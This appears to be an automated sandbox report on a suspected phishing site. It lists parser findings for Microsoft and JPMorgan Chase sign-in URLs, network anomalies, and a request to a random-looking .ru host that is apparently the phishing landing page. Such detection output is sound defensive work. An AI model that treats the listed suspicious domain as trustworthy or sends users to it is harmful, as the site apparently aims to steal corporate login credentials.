Source: https://idag2.jpmorganchase.com/adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI9jNt0AMXj5C53FxUaFajKUt3QAQFx_Lcdf5xU6Xz59Dl_Bye2E3uJEn_EdvyRc-x8WOqEkICpEhJFtyAhppsQAoRgYT4xlKlSl1aMHWjF1JGjzBXL03t6b3u_0h6N1lCAYu8XcBQ7ukPSVI0ka9MKgRtUhWSnWIUhLKoCTJa4qnCaMibxjVL5s483x388-ar54Nvn5r2bhfML5NBJksXyqFpdr9doZNuuYaFGFFT9SWi64WyF_4wgDxHkPL9rhRVlcJFfUgRD4wBnAUbRgGWvAgpxCLShHsA2n-hey4Uuhmmyse7KzlyTZ4noaSRsiB5sKAAGza3ehgBmCi56SgLlk0DcYlhvyNe6sj8XPS7RMt3VAomEuOqIGU8-zl_vcWni4P9KFLuZ9Xf-wI7iYLyIlsl54ct8C2x1aaT0tik56RL-mbuAdV43T0wDjtoExCrerE-5NXHSWVnJynE5fn7WUVpzNUsiuJHkWKCD00Hak_qDodOzVlzrdM0sjK2gClwmGh4z9mDfnILKhLQbUzgzUpW164nUlXk2qZnhWsc1k9JIYeY4HjluKhNX60AW95m-uiQcX4lBrTkltkDmlUxtUsxa4K02UHwohLVIZqJ5aqjZ2UQmuyORTGpBLz0dQTKsY6rgmpEUjHpKN6brdVdfsmxjOpgTHFDT7bCx9vnZdLrBSNEZgb46EuKVOCXMkN4MpYvCu6-5d4V_XyhemSAKLwt0tLBC1zxcxJHt-tbrkFjh1d6r1IkCC-V8_8_CO17khKgZWcfeIjCcyfLV8uEO8mzn5v5eefcWcp...	HTTP Parser: No favicon

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721291067199872.M2M1YWZmMGItZjFiMi00YTcwLThkYTgtNjY4MDNjMDU1MmEyZGM1MzU2NjUtMTBmNy00OWI5LTlkNjAtYzZiYmQ4M2VhNzI4&ui_locales=en-US&mkt=en-US&client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&state=F1yZQXUOyu4aL3lqipMCIZdBdcMXG3M0-jgR6i5NaHvetvhiAIkqHUFkVztoMxQTrK7mJSuOQRSWhOevAFJw8pcyKVKAzNcj8_jMRdb1-a4fDbMgcuV9fCtQLTI9t5dnwZ2Yd6Y4Kghhj4_EUaiYHM92l8RVs3hlUr15Eb3y1TIUzVE68wKIeG1UlMKn5oT8okucVzqaT4LXN4t5mOuJXM4nC0VKidoQmXOULr7CCiZs99DbSk3A1VuyWDwlIgbbx04NhX1RVXKrvNb3dn7xWQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721291067199872.M2M1YWZmMGItZjFiMi00YTcwLThkYTgtNjY4MDNjMDU1MmEyZGM1MzU2NjUtMTBmNy00OWI5LTlkNjAtYzZiYmQ4M2VhNzI4&ui_locales=en-US&mkt=en-US&client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&state=F1yZQXUOyu4aL3lqipMCIZdBdcMXG3M0-jgR6i5NaHvetvhiAIkqHUFkVztoMxQTrK7mJSuOQRSWhOevAFJw8pcyKVKAzNcj8_jMRdb1-a4fDbMgcuV9fCtQLTI9t5dnwZ2Yd6Y4Kghhj4_EUaiYHM92l8RVs3hlUr15Eb3y1TIUzVE68wKIeG1UlMKn5oT8okucVzqaT4LXN4t5mOuJXM4nC0VKidoQmXOULr7CCiZs99DbSk3A1VuyWDwlIgbbx04NhX1RVXKrvNb3dn7xWQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721291067199872.M2M1YWZmMGItZjFiMi00YTcwLThkYTgtNjY4MDNjMDU1MmEyZGM1MzU2NjUtMTBmNy00OWI5LTlkNjAtYzZiYmQ4M2VhNzI4&ui_locales=en-US&mkt=en-US&client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&state=F1yZQXUOyu4aL3lqipMCIZdBdcMXG3M0-jgR6i5NaHvetvhiAIkqHUFkVztoMxQTrK7mJSuOQRSWhOevAFJw8pcyKVKAzNcj8_jMRdb1-a4fDbMgcuV9fCtQLTI9t5dnwZ2Yd6Y4Kghhj4_EUaiYHM92l8RVs3hlUr15Eb3y1TIUzVE68wKIeG1UlMKn5oT8okucVzqaT4LXN4t5mOuJXM4nC0VKidoQmXOULr7CCiZs99DbSk3A1VuyWDwlIgbbx04NhX1RVXKrvNb3dn7xWQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721291067199872.M2M1YWZmMGItZjFiMi00YTcwLThkYTgtNjY4MDNjMDU1MmEyZGM1MzU2NjUtMTBmNy00OWI5LTlkNjAtYzZiYmQ4M2VhNzI4&ui_locales=en-US&mkt=en-US&client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&state=F1yZQXUOyu4aL3lqipMCIZdBdcMXG3M0-jgR6i5NaHvetvhiAIkqHUFkVztoMxQTrK7mJSuOQRSWhOevAFJw8pcyKVKAzNcj8_jMRdb1-a4fDbMgcuV9fCtQLTI9t5dnwZ2Yd6Y4Kghhj4_EUaiYHM92l8RVs3hlUr15Eb3y1TIUzVE68wKIeG1UlMKn5oT8okucVzqaT4LXN4t5mOuJXM4nC0VKidoQmXOULr7CCiZs99DbSk3A1VuyWDwlIgbbx04NhX1RVXKrvNb3dn7xWQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721291067199872.M2M1YWZmMGItZjFiMi00YTcwLThkYTgtNjY4MDNjMDU1MmEyZGM1MzU2NjUtMTBmNy00OWI5LTlkNjAtYzZiYmQ4M2VhNzI4&ui_locales=en-US&mkt=en-US&client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&state=F1yZQXUOyu4aL3lqipMCIZdBdcMXG3M0-jgR6i5NaHvetvhiAIkqHUFkVztoMxQTrK7mJSuOQRSWhOevAFJw8pcyKVKAzNcj8_jMRdb1-a4fDbMgcuV9fCtQLTI9t5dnwZ2Yd6Y4Kghhj4_EUaiYHM92l8RVs3hlUr15Eb3y1TIUzVE68wKIeG1UlMKn5oT8okucVzqaT4LXN4t5mOuJXM4nC0VKidoQmXOULr7CCiZs99DbSk3A1VuyWDwlIgbbx04NhX1RVXKrvNb3dn7xWQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721291067199872.M2M1YWZmMGItZjFiMi00YTcwLThkYTgtNjY4MDNjMDU1MmEyZGM1MzU2NjUtMTBmNy00OWI5LTlkNjAtYzZiYmQ4M2VhNzI4&ui_locales=en-US&mkt=en-US&client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&state=F1yZQXUOyu4aL3lqipMCIZdBdcMXG3M0-jgR6i5NaHvetvhiAIkqHUFkVztoMxQTrK7mJSuOQRSWhOevAFJw8pcyKVKAzNcj8_jMRdb1-a4fDbMgcuV9fCtQLTI9t5dnwZ2Yd6Y4Kghhj4_EUaiYHM92l8RVs3hlUr15Eb3y1TIUzVE68wKIeG1UlMKn5oT8okucVzqaT4LXN4t5mOuJXM4nC0VKidoQmXOULr7CCiZs99DbSk3A1VuyWDwlIgbbx04NhX1RVXKrvNb3dn7xWQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://idag2.jpmorganchase.com/adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI7jNt0AMbj5C53FwGNDqja7QYGhIjjv-34cdJJl8vT5_wd2Wc7sZcofiS240fi2HESqRISC0x04KXbQEw3AEIdgAXmE0NZuxQxdmgRA-rYK8wVy6fvp2_8fqU9Gq2hAMXeK-AodvwOSVM1kqwZFQI3qQrJGliFIWyqAiyWuJlwmjLH8WGp_PGH69PfH3_Z-uKbZ9a924XLK-TISZL58rhazbIMjSYT17RRMwqq_ji03HC6wn9EkIcIcpnftcOKcnGVX1IEQ-MAZwFG0YBlbwCFOATaQA9gh0t0r-1CF8M02cx6sjPT5GkieBoJm4IHmwqAQWujdyCAWwUXPCWB8lkgbDCsP-BqPdmfCV490ba6qwUiCXHVEbYc-Sh_q19PEwd_GVHsbu2_8weTKA5G82iZXBY-z7fBRheHSn-TkuMe4S_cOWxwunVmmXDYISBW8aYS5daEcXdlJyvHrXOzRVdpz9RtEsG1KMc8HZxfpH1Ruhg4fXtVb59nzNzc8Cpf3wqmx4w8KFkGqIzJSdOAUzNV2UkjEXsyxyY1K8x0XLMojeSnjuORo5YydrUuZHGfkdQl4fhKDGotg9gAmVO2aotiMp6zO0DxIR_WIpmJZqmpbhdjmewNBTKpBf30fAjJsIGpvGtFYjDsK72YbjRcfcmyTeNiRtSBmm4GzcznpoaxxkjBGQJJHfLxSjAIK6TXA_GqcPcV967wHwrFmxJE4XWBjuZ26FpH8ziauL79KiVWeLX_L3WjwEbrvv9n4W0vckLUiuxTbx6Yznhpo6GdPNxBnuzc3t8r795Bjn	HTTP Parser: No <meta name="author".. found
Source: https://idag2.jpmorganchase.com/adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI9jNt0AMXj5C53FxUaFajKUt3QAQFx_Lcdf5xU6Xz59Dl_Bye2E3uJEn_EdvyRc-x8WOqEkICpEhJFtyAhppsQAoRgYT4xlKlSl1aMHWjF1JGjzBXL03t6b3u_0h6N1lCAYu8XcBQ7ukPSVI0ka9MKgRtUhWSnWIUhLKoCTJa4qnCaMibxjVL5s483x388-ar54Nvn5r2bhfML5NBJksXyqFpdr9doZNuuYaFGFFT9SWi64WyF_4wgDxHkPL9rhRVlcJFfUgRD4wBnAUbRgGWvAgpxCLShHsA2n-hey4Uuhmmyse7KzlyTZ4noaSRsiB5sKAAGza3ehgBmCi56SgLlk0DcYlhvyNe6sj8XPS7RMt3VAomEuOqIGU8-zl_vcWni4P9KFLuZ9Xf-wI7iYLyIlsl54ct8C2x1aaT0tik56RL-mbuAdV43T0wDjtoExCrerE-5NXHSWVnJynE5fn7WUVpzNUsiuJHkWKCD00Hak_qDodOzVlzrdM0sjK2gClwmGh4z9mDfnILKhLQbUzgzUpW164nUlXk2qZnhWsc1k9JIYeY4HjluKhNX60AW95m-uiQcX4lBrTkltkDmlUxtUsxa4K02UHwohLVIZqJ5aqjZ2UQmuyORTGpBLz0dQTKsY6rgmpEUjHpKN6brdVdfsmxjOpgTHFDT7bCx9vnZdLrBSNEZgb46EuKVOCXMkN4MpYvCu6-5d4V_XyhemSAKLwt0tLBC1zxcxJHt-tbrkFjh1d6r1IkCC-V8_8_CO17khKgZWcfeIjCcyfLV8uEO8mzn5v5eefcWcp	HTTP Parser: No <meta name="author".. found

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721291067199872.M2M1YWZmMGItZjFiMi00YTcwLThkYTgtNjY4MDNjMDU1MmEyZGM1MzU2NjUtMTBmNy00OWI5LTlkNjAtYzZiYmQ4M2VhNzI4&ui_locales=en-US&mkt=en-US&client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&state=F1yZQXUOyu4aL3lqipMCIZdBdcMXG3M0-jgR6i5NaHvetvhiAIkqHUFkVztoMxQTrK7mJSuOQRSWhOevAFJw8pcyKVKAzNcj8_jMRdb1-a4fDbMgcuV9fCtQLTI9t5dnwZ2Yd6Y4Kghhj4_EUaiYHM92l8RVs3hlUr15Eb3y1TIUzVE68wKIeG1UlMKn5oT8okucVzqaT4LXN4t5mOuJXM4nC0VKidoQmXOULr7CCiZs99DbSk3A1VuyWDwlIgbbx04NhX1RVXKrvNb3dn7xWQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721291067199872.M2M1YWZmMGItZjFiMi00YTcwLThkYTgtNjY4MDNjMDU1MmEyZGM1MzU2NjUtMTBmNy00OWI5LTlkNjAtYzZiYmQ4M2VhNzI4&ui_locales=en-US&mkt=en-US&client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&state=F1yZQXUOyu4aL3lqipMCIZdBdcMXG3M0-jgR6i5NaHvetvhiAIkqHUFkVztoMxQTrK7mJSuOQRSWhOevAFJw8pcyKVKAzNcj8_jMRdb1-a4fDbMgcuV9fCtQLTI9t5dnwZ2Yd6Y4Kghhj4_EUaiYHM92l8RVs3hlUr15Eb3y1TIUzVE68wKIeG1UlMKn5oT8okucVzqaT4LXN4t5mOuJXM4nC0VKidoQmXOULr7CCiZs99DbSk3A1VuyWDwlIgbbx04NhX1RVXKrvNb3dn7xWQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721291067199872.M2M1YWZmMGItZjFiMi00YTcwLThkYTgtNjY4MDNjMDU1MmEyZGM1MzU2NjUtMTBmNy00OWI5LTlkNjAtYzZiYmQ4M2VhNzI4&ui_locales=en-US&mkt=en-US&client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&state=F1yZQXUOyu4aL3lqipMCIZdBdcMXG3M0-jgR6i5NaHvetvhiAIkqHUFkVztoMxQTrK7mJSuOQRSWhOevAFJw8pcyKVKAzNcj8_jMRdb1-a4fDbMgcuV9fCtQLTI9t5dnwZ2Yd6Y4Kghhj4_EUaiYHM92l8RVs3hlUr15Eb3y1TIUzVE68wKIeG1UlMKn5oT8okucVzqaT4LXN4t5mOuJXM4nC0VKidoQmXOULr7CCiZs99DbSk3A1VuyWDwlIgbbx04NhX1RVXKrvNb3dn7xWQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721291067199872.M2M1YWZmMGItZjFiMi00YTcwLThkYTgtNjY4MDNjMDU1MmEyZGM1MzU2NjUtMTBmNy00OWI5LTlkNjAtYzZiYmQ4M2VhNzI4&ui_locales=en-US&mkt=en-US&client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&state=F1yZQXUOyu4aL3lqipMCIZdBdcMXG3M0-jgR6i5NaHvetvhiAIkqHUFkVztoMxQTrK7mJSuOQRSWhOevAFJw8pcyKVKAzNcj8_jMRdb1-a4fDbMgcuV9fCtQLTI9t5dnwZ2Yd6Y4Kghhj4_EUaiYHM92l8RVs3hlUr15Eb3y1TIUzVE68wKIeG1UlMKn5oT8okucVzqaT4LXN4t5mOuJXM4nC0VKidoQmXOULr7CCiZs99DbSk3A1VuyWDwlIgbbx04NhX1RVXKrvNb3dn7xWQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721291067199872.M2M1YWZmMGItZjFiMi00YTcwLThkYTgtNjY4MDNjMDU1MmEyZGM1MzU2NjUtMTBmNy00OWI5LTlkNjAtYzZiYmQ4M2VhNzI4&ui_locales=en-US&mkt=en-US&client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&state=F1yZQXUOyu4aL3lqipMCIZdBdcMXG3M0-jgR6i5NaHvetvhiAIkqHUFkVztoMxQTrK7mJSuOQRSWhOevAFJw8pcyKVKAzNcj8_jMRdb1-a4fDbMgcuV9fCtQLTI9t5dnwZ2Yd6Y4Kghhj4_EUaiYHM92l8RVs3hlUr15Eb3y1TIUzVE68wKIeG1UlMKn5oT8okucVzqaT4LXN4t5mOuJXM4nC0VKidoQmXOULr7CCiZs99DbSk3A1VuyWDwlIgbbx04NhX1RVXKrvNb3dn7xWQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721291067199872.M2M1YWZmMGItZjFiMi00YTcwLThkYTgtNjY4MDNjMDU1MmEyZGM1MzU2NjUtMTBmNy00OWI5LTlkNjAtYzZiYmQ4M2VhNzI4&ui_locales=en-US&mkt=en-US&client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&state=F1yZQXUOyu4aL3lqipMCIZdBdcMXG3M0-jgR6i5NaHvetvhiAIkqHUFkVztoMxQTrK7mJSuOQRSWhOevAFJw8pcyKVKAzNcj8_jMRdb1-a4fDbMgcuV9fCtQLTI9t5dnwZ2Yd6Y4Kghhj4_EUaiYHM92l8RVs3hlUr15Eb3y1TIUzVE68wKIeG1UlMKn5oT8okucVzqaT4LXN4t5mOuJXM4nC0VKidoQmXOULr7CCiZs99DbSk3A1VuyWDwlIgbbx04NhX1RVXKrvNb3dn7xWQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://idag2.jpmorganchase.com/adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI7jNt0AMbj5C53FwGNDqja7QYGhIjjv-34cdJJl8vT5_wd2Wc7sZcofiS240fi2HESqRISC0x04KXbQEw3AEIdgAXmE0NZuxQxdmgRA-rYK8wVy6fvp2_8fqU9Gq2hAMXeK-AodvwOSVM1kqwZFQI3qQrJGliFIWyqAiyWuJlwmjLH8WGp_PGH69PfH3_Z-uKbZ9a924XLK-TISZL58rhazbIMjSYT17RRMwqq_ji03HC6wn9EkIcIcpnftcOKcnGVX1IEQ-MAZwFG0YBlbwCFOATaQA9gh0t0r-1CF8M02cx6sjPT5GkieBoJm4IHmwqAQWujdyCAWwUXPCWB8lkgbDCsP-BqPdmfCV490ba6qwUiCXHVEbYc-Sh_q19PEwd_GVHsbu2_8weTKA5G82iZXBY-z7fBRheHSn-TkuMe4S_cOWxwunVmmXDYISBW8aYS5daEcXdlJyvHrXOzRVdpz9RtEsG1KMc8HZxfpH1Ruhg4fXtVb59nzNzc8Cpf3wqmx4w8KFkGqIzJSdOAUzNV2UkjEXsyxyY1K8x0XLMojeSnjuORo5YydrUuZHGfkdQl4fhKDGotg9gAmVO2aotiMp6zO0DxIR_WIpmJZqmpbhdjmewNBTKpBf30fAjJsIGpvGtFYjDsK72YbjRcfcmyTeNiRtSBmm4GzcznpoaxxkjBGQJJHfLxSjAIK6TXA_GqcPcV967wHwrFmxJE4XWBjuZ26FpH8ziauL79KiVWeLX_L3WjwEbrvv9n4W0vckLUiuxTbx6Yznhpo6GdPNxBnuzc3t8r795Bjn...	HTTP Parser: No <meta name="copyright".. found
Source: https://idag2.jpmorganchase.com/adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI9jNt0AMXj5C53FxUaFajKUt3QAQFx_Lcdf5xU6Xz59Dl_Bye2E3uJEn_EdvyRc-x8WOqEkICpEhJFtyAhppsQAoRgYT4xlKlSl1aMHWjF1JGjzBXL03t6b3u_0h6N1lCAYu8XcBQ7ukPSVI0ka9MKgRtUhWSnWIUhLKoCTJa4qnCaMibxjVL5s483x388-ar54Nvn5r2bhfML5NBJksXyqFpdr9doZNuuYaFGFFT9SWi64WyF_4wgDxHkPL9rhRVlcJFfUgRD4wBnAUbRgGWvAgpxCLShHsA2n-hey4Uuhmmyse7KzlyTZ4noaSRsiB5sKAAGza3ehgBmCi56SgLlk0DcYlhvyNe6sj8XPS7RMt3VAomEuOqIGU8-zl_vcWni4P9KFLuZ9Xf-wI7iYLyIlsl54ct8C2x1aaT0tik56RL-mbuAdV43T0wDjtoExCrerE-5NXHSWVnJynE5fn7WUVpzNUsiuJHkWKCD00Hak_qDodOzVlzrdM0sjK2gClwmGh4z9mDfnILKhLQbUzgzUpW164nUlXk2qZnhWsc1k9JIYeY4HjluKhNX60AW95m-uiQcX4lBrTkltkDmlUxtUsxa4K02UHwohLVIZqJ5aqjZ2UQmuyORTGpBLz0dQTKsY6rgmpEUjHpKN6brdVdfsmxjOpgTHFDT7bCx9vnZdLrBSNEZgb46EuKVOCXMkN4MpYvCu6-5d4V_XyhemSAKLwt0tLBC1zxcxJHt-tbrkFjh1d6r1IkCC-V8_8_CO17khKgZWcfeIjCcyfLV8uEO8mzn5v5eefcWcp...	HTTP Parser: No <meta name="copyright".. found

Networking

Queries random domain names (often used to prevent blacklisting and sinkholes)

Source: unknown

DNS traffic detected: English language letter frequency does not match the domain names

Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137
Source: Joe Sandbox View	IP Address: 104.17.24.14 104.17.24.14

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 2.22.50.144
Source: unknown	TCP traffic detected without corresponding DNS query: 2.22.50.144
Source: unknown	TCP traffic detected without corresponding DNS query: 2.22.50.144
Source: unknown	TCP traffic detected without corresponding DNS query: 2.22.50.144
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /3aeK/ HTTP/1.1Host: pllu.gnoqwwhpwe.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
